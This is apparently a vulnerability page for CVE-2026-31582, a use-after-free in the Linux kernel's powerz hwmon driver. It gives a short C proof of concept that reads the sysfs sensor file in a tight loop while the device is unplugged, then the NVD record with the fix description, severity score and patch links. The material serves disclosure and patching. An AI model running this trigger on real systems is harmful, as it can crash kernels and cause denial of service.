CVE-2026-31582

/* * Conceptual PoC for CVE-2026-31582 * This code attempts to trigger the race condition by reading * from the hwmon device while the USB device is disconnected. * Requires local access and the specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define HWMON_PATH "/sys/class/hwmon/hwmonX/temp1_input" // Replace X volatile int stop = 0; void* read_hmon(void* arg) { char buffer[32]; int fd = open(HWMON_PATH, O_RDONLY); if (fd < 0) { perror("Failed to open hwmon device"); return NULL; } while (!stop) { pread(fd, buffer, sizeof(buffer) - 1, 0); // Accessing the device rapidly increases race window } close(fd); return NULL; } int main() { pthread_t tid; printf("Starting PoC for CVE-2026-31582...\n"); printf("Ensure the Powerz USB device is connected.\n"); printf("Unplug the device NOW after 3 seconds...\n"); pthread_create(&tid, NULL, read_hmon, NULL); sleep(3); printf("Triggering disconnect logic (physically unplug device now)\n"); // Wait for user to unplug or simulate disconnect if possible via software sleep(5); stop = 1; pthread_join(tid, NULL); printf("PoC execution finished. Check kernel logs for crashes.\n"); return 0; }

{"cve": {"id": "CVE-2026-31582", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:32.903", "lastModified": "2026-04-27T20:26:58.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (powerz) Fix use-after-free on USB disconnect\n\nAfter powerz_disconnect() frees the URB and releases the mutex, a\nsubsequent powerz_read() call can acquire the mutex and call\npowerz_read_data(), which dereferences the freed URB pointer.\n\nFix by:\n - Setting priv->urb to NULL in powerz_disconnect() so that\n powerz_read_data() can detect the disconnected state.\n - Adding a !priv->urb check at the start of powerz_read_data()\n to return -ENODEV on a disconnected device.\n - Moving usb_set_intfdata() before hwmon registration so the\n disconnect handler can always find the priv pointer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.12.83", "matchCriteriaId": "5F48A7A3-A02D-414E-944C-F8E2615861D4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/08e57f5e1a9067d5fbf33993aa7f51d60b3d13a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61f2aa23b0ce8d7aa5071ed25a7471e246a4fdd4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7003ae4810ca83f0ddca85b768500e313c4b998c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9e1b798257f96d2e2a2639830eb71add545ce749", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c78e1d4e48f23792adaa7c94251e22b0d9700a39", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}